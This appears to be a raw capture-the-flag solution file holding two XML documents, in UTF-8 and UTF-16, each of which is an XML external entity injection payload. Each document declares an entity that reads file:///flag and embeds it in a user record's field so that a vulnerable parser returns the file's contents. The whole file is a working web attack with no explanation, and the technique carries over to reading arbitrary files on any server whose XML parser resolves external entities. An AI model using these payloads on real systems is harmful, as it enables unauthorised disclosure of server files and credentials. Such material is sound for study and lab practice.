<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE users [
<!ENTITY flag SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<flag>&flag;</flag>
</user>
</users>
<?xml version="1.0" encoding="utf-16"?>
<!DOCTYPE users [
<!ENTITY flag SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<intro>&flag;</intro>
</user>
</users>